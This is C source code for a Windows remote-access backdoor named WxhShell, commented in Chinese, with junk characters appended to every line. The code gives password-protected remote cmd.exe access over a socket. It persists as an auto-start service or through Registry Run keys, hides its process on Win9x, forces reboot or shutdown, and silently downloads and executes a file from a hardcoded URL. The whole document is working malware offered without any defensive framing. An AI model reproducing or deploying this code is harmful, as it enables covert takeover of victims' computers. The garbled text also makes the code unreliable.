    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eem 2qKj  
    if(Boot(SHUTDOWN)) I x( 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i FC"!23f  
    else { =^Bq WC2~  
    closesocket(wsh); .(`(chRa}  
    ExitThread(0); cj$,ob&DX  
    } -0A@38, }  
    break; YEg .  
    } q:xtm?'$  
  // 获取shell  Vil@?Y"  
  case 's': { <$"7~i /X  
    CmdShell(wsh); lKf Mp1  
    closesocket(wsh); *}+R{  
    ExitThread(0); FpP\-+Sl  
    break; ,)Yao;Cvd  
  } 5?^]1P_  
  // 退出 0w^jls  
  case 'x': { G!AICcP^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  =Ov9Kf  
    CloseIt(wsh); 0v;ve  
    break; R|/Wz/$1A  
    } `ff j8U  
  // 离开 Z$Z`@&U=  
  case 'q': { 2}D,df'W4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ].LJt['%8  
    closesocket(wsh); lTn;3'  
    WSACleanup(); 5fU!'ajaN7  
    exit(1); )URwIe{  
    break; g+:$X- r  
        } #N; $  
  } cB{%u '  
  } %rFP#L  
}%_qx|(P|t  
  // 提示信息 HTxB=Q|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O:2 #_  
} Tsu\oJ[  
  } b21}49bHN  
Q?W r7  
  return; AzZi{Q ?  
} BeAk 21xb  
SO7(K5H,  
// shell模块句柄 fv:L\N1u  
int CmdShell(SOCKET sock) 3)dP7rmZ  
{ AlUJ1^o)  
STARTUPINFO si; r i,2clp  
ZeroMemory(&si,sizeof(si)); Xe)Pg)J1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r~I.F!{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QDP-E[  
PROCESS_INFORMATION ProcessInfo; ,K T<4  
char cmdline[]="cmd"; S<*';{5~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '=$TyiU  
  return 0; MdLj,1_T  
} SF0Jb"kS  
l+oDq'[q"  
// 自身启动模式 ;D:=XA%  
int StartFromService(void) )#C_mB$-#  
{ OO$|9`a  
typedef struct ACgt" M.3F  
{ $\+"qs)  
  DWORD ExitStatus; Tu==49  
  DWORD PebBaseAddress; X!o@f$  
  DWORD AffinityMask; {K+.A 9!  
  DWORD BasePriority; 8`a,D5U:  
  ULONG UniqueProcessId; S3;lKr  
  ULONG InheritedFromUniqueProcessId; \{lE0j7}h  
}   PROCESS_BASIC_INFORMATION; hX&-/fF+f  
q Z#!CPHS  
PROCNTQSIP NtQueryInformationProcess; :sFo  
&ryiG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ ynuj3G V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .6LS+[  
$kv@tzO  
  HANDLE             hProcess; {Wh BoD  
  PROCESS_BASIC_INFORMATION pbi; (Bsw/wv  
STw oYn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ur n  
  if(NULL == hInst ) return 0; :u AjV  
tO7I&LNE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bZu$0IG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L,6MF,vx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @$Yb#$/  
rj}(muM,R  
  if (!NtQueryInformationProcess) return 0; D6Dn&/>Zp  
Rw/Ciw2@?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nVNs][  
  if(!hProcess) return 0; @Zj& `/  
HXyFj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c+H)ed>  
wBLsz/  
  CloseHandle(hProcess); ZH!;z-R  
}H5/3be  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZxI]I1)  
if(hProcess==NULL) return 0; &eU3(F`.  
{b[tA, >  
HMODULE hMod; W5 |j1He&  
char procName[255]; )]3L/  
unsigned long cbNeeded; b##1hm~+9  
@bE~@4mOu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l`* ( f9Q  
4Q$!c{Y r  
  CloseHandle(hProcess); h+5 @I%WX  
LGAX"/LX  
if(strstr(procName,"services")) return 1; // 以服务启动 A4}#U=3tI  
`wf|uM  
  return 0; // 注册表启动 Ep<YCSQy$i  
} RU7!U mf  
i]dz}=j'  
// 主模块 IEc>.J|T&  
int StartWxhshell(LPSTR lpCmdLine) 4aA9\\hfGY  
{ *N`;I@Q"[  
  SOCKET wsl; a/:]"`)  
BOOL val=TRUE; Q4=|@|U0  
  int port=0; ;sCU [4  
  struct sockaddr_in door; U[bgu#P;  
0_Lm#fE U  
  if(wscfg.ws_autoins) Install(); q1jN]H  
!8o\.uyi  
port=atoi(lpCmdLine); vn``0!FX  
(m/aV  
if(port<=0) port=wscfg.ws_port; =D}4X1l  
~x\Cmu9`  
  WSADATA data; Z~_8P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lf6|.  
XO%~6Us^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *<UGgnmLE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _Yy:s2I8B  
  door.sin_family = AF_INET; [t$4Tdd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dGU8+)2cn  
  door.sin_port = htons(port); K0v.3  
?3Pazc]+|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JA< :K0  
closesocket(wsl); jAZ >mo[  
return 1; 1g~y]iQ  
} +O4(a.  
ZJ9x6|q  
  if(listen(wsl,2) == INVALID_SOCKET) { 7pP+5&*  
closesocket(wsl); 95[wM6?J  
return 1; bb}?h]a   
} IqNpLh|[  
  Wxhshell(wsl); 5y040 N-  
  WSACleanup(); %EWq2'/5  
:pb67Al29  
return 0; ;$z7[+M  
/z#F,NB  
} :6zC4Sr^  
=},{8fZ4  
// 以NT服务方式启动 4T%cTH:.9N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8<{;=m8cQ  
{ _F^$aZt?e  
DWORD   status = 0; @UV{:]f~e  
  DWORD   specificError = 0xfffffff; BKX 9 SL]  
xG8`'SNY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0U%Xm[:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |/*pT1(&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1|]xo3j"'  
  serviceStatus.dwWin32ExitCode     = 0; dqxd3,Z  
  serviceStatus.dwServiceSpecificExitCode = 0; [g`,AmR\!  
  serviceStatus.dwCheckPoint       = 0; 7=vYO|a/4  
  serviceStatus.dwWaitHint       = 0; W_%W%i|  
^4 8\>-Q\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j %H`0  
  if (hServiceStatusHandle==0) return; <XvYa{t]{  
JtFiFaCxY  
status = GetLastError(); <ZVZ$ZW~D  
  if (status!=NO_ERROR) yhwy>12,K  
{ P:^=m*d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7 v~ro  
    serviceStatus.dwCheckPoint       = 0; ~#q;bS  
    serviceStatus.dwWaitHint       = 0; *Q5x1!#z #  
    serviceStatus.dwWin32ExitCode     = status; Z}+yI,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6"+8M 3M l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kZv*rWAm  
    return; 9ad6uTc  
  } C.( yd$,  
f1J %]g!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r6MB"4xd  
  serviceStatus.dwCheckPoint       = 0; V_f`0\[x  
  serviceStatus.dwWaitHint       = 0; =hGJAU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '#<> "|  
} RG&6FRoq  
1 }nm2h1 I  
// 处理NT服务事件,比如:启动、停止 Oy%Im8.-A#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :!']p2B  
{ :~D]; m  
switch(fdwControl) U!0E_J  
{ hbfsHT  
case SERVICE_CONTROL_STOP: ;_N"Fdl  
  serviceStatus.dwWin32ExitCode = 0; :3 y_mf>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <sc\EK  
  serviceStatus.dwCheckPoint   = 0; x6%#ws vS  
  serviceStatus.dwWaitHint     = 0; {xToz]YA  
  { Ye@t_,)x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n,sY\=vB  
  } `m, Ki69.  
  return; N+J>7_k   
case SERVICE_CONTROL_PAUSE: HCazwX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nE7JLtbH  
  break; SOj`Y|6^:  
case SERVICE_CONTROL_CONTINUE: 0;<OYbm3<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a:b^!H>#  
  break; <m]wi7  
case SERVICE_CONTROL_INTERROGATE: e9:P9Di(b  
  break; >A=\8`T^  
}; V7@ { D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hfv%,,e  
} @[v8}D  
3Oiy)f@{TF  
// 标准应用程序主函数 $H;+}VQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t !~ S9c  
{ |!}wF}iLc)  
!.-.#<<_a  
// 获取操作系统版本 {cR3.%wX  
OsIsNt=GetOsVer(); N,|r1u9X#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M BVOfEMj  
R&Ci/  
  // 从命令行安装 ?wCs&tM  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y&GuDLUF  
D:m#d.m  
  // 下载执行文件 O] ZC+]}/  
if(wscfg.ws_downexe) {  d1bhJK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mf2Mx=oy  
  WinExec(wscfg.ws_filenam,SW_HIDE); -l[jEJS}  
} (}jL_E  
<+q$XL0  
if(!OsIsNt) { enumK\  
// 如果时win9x,隐藏进程并且设置为注册表启动 _-TOeP8#94  
HideProc(); HsH <m j  
StartWxhshell(lpCmdLine); HH zEQV Lh  
}  5~s{N  
else s.rT]  
  if(StartFromService()) ;($1Z7j+  
  // 以服务方式启动 wT/6aJoX  
  StartServiceCtrlDispatcher(DispatchTable); ]/44Ygz/  
else iRs V#s  
  // 普通方式启动 M=[th  
  StartWxhshell(lpCmdLine); o(Kcs-W2  
4By]vd<;=  
return 0; >[Rz <yv  
} 9wMEvX70  
>a@>N  
[#Fg\2bq_y  
\ 3G*j`  
=========================================== y ||@?Y  
blp=Hk  
)&z4_l8`=  
g ;LVECk  
,CKvTxz0  
w[sR7T9*  
" H%C\Uz"o  
m}pL`:e!  
#include <stdio.h> PCZ]R  
#include <string.h> u-39r^`5  
#include <windows.h> {MxnIg7'  
#include <winsock2.h> 5p )IV>G  
#include <winsvc.h> >%h7dC3h  
#include <urlmon.h> n;qz^HXEJ  
J#(,0h  
#pragma comment (lib, "Ws2_32.lib") /{R3@,D[]  
#pragma comment (lib, "urlmon.lib") ph#efY`a:  
u<kD}  
#define MAX_USER   100 // 最大客户端连接数 3 Ta>Ki  
#define BUF_SOCK   200 // sock buffer 6l[G1KkV  
#define KEY_BUFF   255 // 输入 buffer kO+s+ 55  
zDd5cxFdZ  
#define REBOOT     0   // 重启 6F-JK1i  
#define SHUTDOWN   1   // 关机 xD0NZ~w%  
6Hn)pD#U  
#define DEF_PORT   5000 // 监听端口 }9=2g`2Q  
fkG##!  
#define REG_LEN     16   // 注册表键长度 phS>T  
#define SVC_LEN     80   // NT服务名长度 r w\D>} \  
Qg>0G%cXU  
// 从dll定义API !EM#m@kZ{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \gd6Yx^[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uz $ @(C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %yvA   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); esteFLm`6  
_k|g@"  
// wxhshell配置信息 6?!I  
struct WSCFG { :])JaS^  
  int ws_port;         // 监听端口 C d|W#.6  
  char ws_passstr[REG_LEN]; // 口令 tIp{},bQ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no /.2qWQH  
  char ws_regname[REG_LEN]; // 注册表键名 Q)T+r~#2B  
  char ws_svcname[REG_LEN]; // 服务名 Oj-r;Tt_G}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '+6 <U[ L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EIPnm%{1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q ]0r:i= .  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U$%|0@`~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2!idy]vy_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C/y(E |zC$  
sxk*$jO[]  
}; ,m3":{G:t.  
7O9n!aJ  
// default Wxhshell configuration @ge LW!  
struct WSCFG wscfg={DEF_PORT, .8x@IWJD  
    "xuhuanlingzhe", ]K*GSU  
    1, gZ*hkKN6  
    "Wxhshell", N;g$)zCV1  
    "Wxhshell", !h*B (,  
            "WxhShell Service", *73AAA5LKa  
    "Wrsky Windows CmdShell Service", BtID;^D z  
    "Please Input Your Password: ", M2L0c?  
  1, +nzTxpcP@K  
  "http://www.wrsky.com/wxhshell.exe", 5v+L';wx[T  
  "Wxhshell.exe" ?eVj8 $BQo  
    }; %!yxC  
D$mf5G &  
// 消息定义模块 DUhT>,~]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h&P {p _Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d "B5==0I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; La]4/=a  
char *msg_ws_ext="\n\rExit."; z 7@ 'CJ  
char *msg_ws_end="\n\rQuit."; q}e]*]dJZ  
char *msg_ws_boot="\n\rReboot...";  +xq=<jy  
char *msg_ws_poff="\n\rShutdown..."; ^F&A6{9f/h  
char *msg_ws_down="\n\rSave to "; 3@'lIV ?,q  
^1Yo-T(R  
char *msg_ws_err="\n\rErr!"; uD[^K1Ag]^  
char *msg_ws_ok="\n\rOK!"; 0H<4+ *`K  
rXuAixu!t  
char ExeFile[MAX_PATH]; GeVc\$K-  
int nUser = 0; *.xZfi_|  
HANDLE handles[MAX_USER]; C6CGj8G  
int OsIsNt; ff[C'  
1MpX] j8C#  
SERVICE_STATUS       serviceStatus; =<TO"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rCkYfTYI  
xp(mB7;:  
// 函数声明 ZRUh/<\[  
int Install(void); 7Y)s#FJ  
int Uninstall(void); P$Ax c/H  
int DownloadFile(char *sURL, SOCKET wsh); \k4M{h6  
int Boot(int flag); `k!UjO72  
void HideProc(void); W!y)Ho  
int GetOsVer(void); C5cFw/',  
int Wxhshell(SOCKET wsl); VGfD;8]z  
void TalkWithClient(void *cs); W;91H'`?H  
int CmdShell(SOCKET sock); WVinP(#nfM  
int StartFromService(void); 3/:LYvM<  
int StartWxhshell(LPSTR lpCmdLine); /m;O;2"  
A7.JFf>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !\3 }R25  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yB|]LYh  
P&h/IBA_  
// 数据结构和表定义 Gi;9 S  
SERVICE_TABLE_ENTRY DispatchTable[] = py}.00it  
{ V2lp7"  
{wscfg.ws_svcname, NTServiceMain}, 2n _T2{  
{NULL, NULL} |3aS17yL>  
}; 9t.fij  
DS.39NY  
// 自我安装 Z!s>AgH9u  
int Install(void) Uy_}@50"l  
{ LB64W ;#h  
  char svExeFile[MAX_PATH]; 3; -@<9  
  HKEY key; Jnu}{^~  
  strcpy(svExeFile,ExeFile); rSc,\upz  
a?xq*|?  
// 如果是win9x系统,修改注册表设为自启动 UG^?a  
if(!OsIsNt) { *x# &[>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N('S2yfDR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )N%1%bg^-  
  RegCloseKey(key); FS]+s>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % 0y3/W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Tn|Q9R  
  RegCloseKey(key); ,h5-rw'  
  return 0; JQ{zWJlt  
    } Hc_hO  
  } U{za m  
} `Q(]AG I2  
else { twJ|Jmd  
>X\s[d&(  
// 如果是NT以上系统,安装为系统服务 [M8qU$&?]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e{rHO,#A>  
if (schSCManager!=0) }77=<N br  
{ _n Iqy&<  
  SC_HANDLE schService = CreateService 4LB9w 21  
  ( f@xfb ie !  
  schSCManager, k1LtqV  
  wscfg.ws_svcname, 4 L~;>]7  
  wscfg.ws_svcdisp, M#8Ao4 T  
  SERVICE_ALL_ACCESS, X~Rk ,d3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !=q:> }g  
  SERVICE_AUTO_START, '#An+;x{  
  SERVICE_ERROR_NORMAL, ;&t1FH#=  
  svExeFile, _]PfeCn:j  
  NULL, YVg}q#  
  NULL, Dry;$C}P  
  NULL, i1_>>49*  
  NULL, Kj1#R  
  NULL @y~BYiKs  
  ); ]cGz~TN~  
  if (schService!=0)  >Wr   
  { :v WYI I7  
  CloseServiceHandle(schService); @D=2Er\  
  CloseServiceHandle(schSCManager); Gad2EEZ%0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [&O:qaD^  
  strcat(svExeFile,wscfg.ws_svcname); b1 ['uJF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ow .)h(y/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r #6l?+W ;  
  RegCloseKey(key); >-tH&X^  
  return 0; 'i h  
    } 3{#pd6e5  
  } g$^qQs)^N  
  CloseServiceHandle(schSCManager); $X<<JnsK  
} GYb2m"a)  
} (=3&8$  
xf F&$K"  
return 1; X%R^)zKV  
} b]qfcV  
/>2$ XwP  
// 自我卸载 )hZ}$P1  
int Uninstall(void) _%p9 B#X<>  
{ /CQQ^/  
  HKEY key; @2Y]p.$q  
ZX5A%`<M  
if(!OsIsNt) { 9{^B Tc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :7PSZc:xE  
  RegDeleteValue(key,wscfg.ws_regname); ;x0KaFk  
  RegCloseKey(key); H7XxME  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Tc(z{;  
  RegDeleteValue(key,wscfg.ws_regname); <"|<)BGeI  
  RegCloseKey(key);  rgvc5p  
  return 0; t;f p<z7N.  
  } ?[4khQt  
} =iN_Ug+  
} vJj j+:  
else { [\%t<aa  
#O974f8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZWe$(?  
if (schSCManager!=0) -_f0AfU/a  
{ #uw*8&%0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fdEj#Ux<H  
  if (schService!=0) %?G.lej,x  
  { s8I77._s  
  if(DeleteService(schService)!=0) { @j8L{FGnN  
  CloseServiceHandle(schService); &7kSLat+9{  
  CloseServiceHandle(schSCManager); sbiDnRf  
  return 0; rJ~(Xu>,s  
  } Fe2 -;o  
  CloseServiceHandle(schService); d?qO`- ~$  
  } $Qc%9p @i  
  CloseServiceHandle(schSCManager); "BNmpP  
} >_% g8T'  
} P9cI{RI  
z^GGJu%vjr  
return 1; {Ll8@'5  
} jnLu|W&  
H&Lbdu~E  
// 从指定url下载文件 W:( Us y  
int DownloadFile(char *sURL, SOCKET wsh) Mn{Rg>X  
{ j9fL0$+FI  
  HRESULT hr; zs^\z Cb8  
char seps[]= "/"; 8lb `   
char *token; ::b;4Q L  
char *file; E2/U']R  
char myURL[MAX_PATH]; s#Y7*?Sm  
char myFILE[MAX_PATH]; CvSG!l.6f<  
RKZk/ly  
strcpy(myURL,sURL); gR6T]v  
  token=strtok(myURL,seps); yaGVY*M0  
  while(token!=NULL) .BTT*vL-  
  { F"0jr7  
    file=token; DppvUiQB!a  
  token=strtok(NULL,seps); >t<R6f_Q0  
  } qpH-P8V   
(Jr;:[4XC  
GetCurrentDirectory(MAX_PATH,myFILE); bL#TR;*]  
strcat(myFILE, "\\"); fOfz^W  
strcat(myFILE, file); Fi=8B&j  
  send(wsh,myFILE,strlen(myFILE),0); O9IjU10:  
send(wsh,"...",3,0); MZF ;k$R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \z?;6A  
  if(hr==S_OK) ~SUl,Cs  
return 0; tKViM@T  
else ;+Kewi;<  
return 1; BTQC1;;N  
zi 14]FWo  
} uUB%I 8  
83(P_Y:  
// 系统电源模块 t`3T_t Y  
int Boot(int flag) qO'5*d;!d  
{ ~$obcW1  
  HANDLE hToken; -Af`AX  
  TOKEN_PRIVILEGES tkp; Mj;'vm7#'  
G7{:d  
  if(OsIsNt) { ?S7:KnU>K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;rdLYmmx^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]lG\t'R  
    tkp.PrivilegeCount = 1; &otgN<H9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i58CA?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W8rn8Rh  
if(flag==REBOOT) { .`=PE&xq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JEkVj']?  
  return 0; cuk}VZ  
} AUpC HG7  
else { At|tk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nvs7s0@Fqe  
  return 0; 9!C?2*>A P  
} Z'kYf   
  } bW3o%srxa  
  else { wZb@VG}%  
if(flag==REBOOT) { a6#PZ!1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^aoLry&i=  
  return 0; 6Ky"4\e  
}  ?wY.B  
else { gJv^v`X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "Y0[rSz,UW  
  return 0; c?Qg :yU  
} iB_j*mX]  
} SSC!BcC1  
m 1;jS|  
return 1; kniMXeiu  
} ]TOY_K8"z#  
fX|,s2-FW  
// win9x进程隐藏模块 l.)!jWY  
void HideProc(void) AVZ@?aJgF  
{ "MN'%"/  
>,2],X"G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e.H"!X!0#H  
  if ( hKernel != NULL ) X y<KvFy  
  { xK ux5u _  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ".Ug A\0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W=w@SO_?wp  
    FreeLibrary(hKernel); ylJlICK  
  } L  *@>/N  
Cu7iHhY5  
return; 5xKR ]u  
} Yl=  |P`  
y}`%I&]n  
// 获取操作系统版本 !7DS  
int GetOsVer(void) 2>s;xZ@/'R  
{ ugP R)tDfM  
  OSVERSIONINFO winfo; ?A>-_B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *k$&Hcr$  
  GetVersionEx(&winfo);  i9"1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \_'pUp22  
  return 1; 9-SXu lgu  
  else de=T7,G#  
  return 0; LlqhZetS  
} .&dcJh*O+  
fok#D>q  
// 客户端句柄模块 K-5)Y+| >  
int Wxhshell(SOCKET wsl) &x  #5-O'  
{ >?KyPp  
  SOCKET wsh; KS_d5NvYl  
  struct sockaddr_in client; Q0-~&e_'  
  DWORD myID; w6 .HvH-@?  
`r V,<  
  while(nUser<MAX_USER) |<$O5b'  
{ kA0 ^~  
  int nSize=sizeof(client); Lf9h;z>#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E~Nr4vq  
  if(wsh==INVALID_SOCKET) return 1; g!uhy}  
+`FY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z_TK (;j  
if(handles[nUser]==0) yfrgYA  
  closesocket(wsh); 8%Lg)hvl  
else }S4Fy3)  
  nUser++; c,^-nH'X>  
  } FTe#@\I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =t2epIr 5  
NKws;/u  
  return 0; ImVe 71mh  
} ^;d;b<  
Y*f<\z(4  
// 关闭 socket G39t'^ZK*#  
void CloseIt(SOCKET wsh) S;~_9i]upe  
{ F(r &:3!97  
closesocket(wsh); C&gJP7UF  
nUser--; Pc<ZfO #  
ExitThread(0); 9q?gmAn.  
} >qla,}x  
[cq>QMW  
// 客户端请求句柄 J2rH<Fd[up  
void TalkWithClient(void *cs) Kt(p|  
{ 2S3F]fG0  
2+HiaYDZ  
  SOCKET wsh=(SOCKET)cs; |Z;Av%%  
  char pwd[SVC_LEN]; !=pemLvH  
  char cmd[KEY_BUFF]; ORNE>6J H  
char chr[1]; y-YYDEl  
int i,j; 2Xosj(H  
E_P]f%  
  while (nUser < MAX_USER) { BKk*<WMD  
tq[C"| dH  
if(wscfg.ws_passstr) { #@ G2n@Hj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }V{, kK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VLRW,lR9O  
  //ZeroMemory(pwd,KEY_BUFF); Nkc=@l {  
      i=0; /WfpA\4S  
  while(i<SVC_LEN) { 0;)4.*t  
|TkO'QN  
  // 设置超时 i7iL[+f]Q  
  fd_set FdRead; t)5bHVx  
  struct timeval TimeOut; O Qd,.m  
  FD_ZERO(&FdRead); Qax=_[r  
  FD_SET(wsh,&FdRead); BeBa4s  
  TimeOut.tv_sec=8; *S7<QyVh  
  TimeOut.tv_usec=0; ?xIwQd0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Os@/S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )!3sB{ H  
[/'W#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oB+drDp8U  
  pwd=chr[0]; }s? 9Hnqa  
  if(chr[0]==0xd || chr[0]==0xa) { c!b4Y4eJ  
  pwd=0; .|!Kv+yD  
  break; o H$4K8j  
  } ,|D<De\v&  
  i++; '?4B0=  
    } "HlT-0F  
1a`dB ~>  
  // 如果是非法用户,关闭 socket rxt)l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?nE<Aig  
} uq'T:d  
l1nrJm8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : W^ k3/t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9[T}cN=|  
rQCj^=cf;~  
while(1) { r"c<15g2'  
~~z} yCl  
  ZeroMemory(cmd,KEY_BUFF); I vO#tI  
Tw 8$6KUW  
      // 自动支持客户端 telnet标准   g6MK~JG$?h  
  j=0; xO{yr[x"L  
  while(j<KEY_BUFF) { (*F/^4p!$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O,u$L  
  cmd[j]=chr[0]; @w?hX K=  
  if(chr[0]==0xa || chr[0]==0xd) { (} ?")$.  
  cmd[j]=0; 4"7/+6Z  
  break; s9X?tWuL  
  } WTbq)D(&[_  
  j++; E&9BeU a#  
    } g{RVxGE7  
VBo=*gn,$  
  // 下载文件 C8ek{o)%W  
  if(strstr(cmd,"http://")) { p%[/ _ -7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l]C#bL>i  
  if(DownloadFile(cmd,wsh)) P9c!   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); br`cxgZ0"  
  else ?NWc3 .  
